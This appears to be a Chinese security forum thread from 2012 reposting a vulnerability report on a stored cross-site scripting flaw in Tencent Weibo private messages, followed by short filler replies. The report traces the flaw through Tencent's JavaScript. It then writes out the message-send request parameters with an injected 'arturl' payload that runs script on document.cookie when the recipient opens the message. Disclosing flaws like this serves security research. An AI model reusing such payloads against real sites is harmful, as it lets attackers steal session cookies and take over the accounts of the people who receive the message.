查看: 1686|回复: 24

腾讯微博私信存储型XSS跨站漏洞

[复制链接]
发表于 2012-12-3 05:47:00 | 显示全部楼层 |阅读模式
漏洞标题:腾讯微博私信存储型XSS跨站漏洞

漏洞类型:xss跨站脚本攻击

危害等级:高


简要描述:

最近大家都流行连载了。那么我们也开场吧~最近心伤的胖子一直在连载,不知道发重复了没。


详细说明:

漏洞成因:

缺陷文件:

http://mat1.gtimg.com/www/mb/js/mi_121016.js

1.首先进入MI.TalkList.picEvent函数

MI.TalkList.picEvent=function(a){

....

其中a为页面中所有class为PicBox的div集合,即div.PicBox

2.循环每一个class为PicBox的div

for(varb=0,f=a.length;b

varg=a,

....

g为每个div

3.k=c(g,"img")[0],获取PicBox里的第一个img图片

4.h=k.parentNode,获取k的父级元素,是一个链接

5.j=c(g,".picTools"),获取PicBox这个div里的picToolsDIV

6.缺陷在下面这几句JS代码

if(!MI.user.fun.wideStyle)

MI.tmpl.picTool=['',_("向左转"),'|',_("向右转"),'',_("查看原图"),"


"].join("");


UI.before(UI.html(MI.tmpl.picTool.replace("$Url",h.href.replace(/\/460$/g,"")).replace("$hisUrl",l))[0],h);

MI.tmpl.picTool直接将$Url替换为h.href

而h在取href属性值时,会自动将"<>等转换回",<,>等符号。

----------------------------------

结合实际HTML结构,如下:

k对应用户发送的图片


h对应k外层的A标签

...

h.href中的"<,>等重新转义回了",<,>

最终导致UI.html(MI.tmpl.picTool.replace("$Url",h.href.replace(/\/460$/g,"")).replace("$hisUrl",l))[0],h)

在输出HTML时,导致XSS出现

--------------------------------

利用方法,发送私信时,

http://api.t.qq.com/inbox/pm_mgr.php

sourcereply

ptidgainover

roomid

content.................

fid

arturlhttp://t2.qpic.cn/mblogpic/4955e75656b3d175296c/460#">

(document.cookie);" style="display:none"><i a="

murl

targetgainover

funcsend

efjs

pmlangzh_CN


apiType8


apiHosthttp://api.t.qq.com


漏洞证明:

对方打开私信时会触发XSS。

发表于 2012-12-5 12:33:16 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2012-12-7 14:09:59 | 显示全部楼层
问渠哪得清如许,为有源头活水来。  
发表于 2012-12-11 09:54:35 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2014-10-6 02:24:02 | 显示全部楼层
感謝樓主  
发表于 2014-12-4 09:54:55 | 显示全部楼层
人气还要再提高  
发表于 2014-12-27 06:45:11 | 显示全部楼层
ding   支持  
发表于 2015-1-27 09:41:23 | 显示全部楼层
正好你开咯这样的帖  
发表于 2015-3-1 07:32:23 | 显示全部楼层
dddddddddddddd  
发表于 2015-3-29 11:17:54 | 显示全部楼层
这个贴不错!!!!!  
高级模式
B Color Image Link Quote Code Smilies

本版积分规则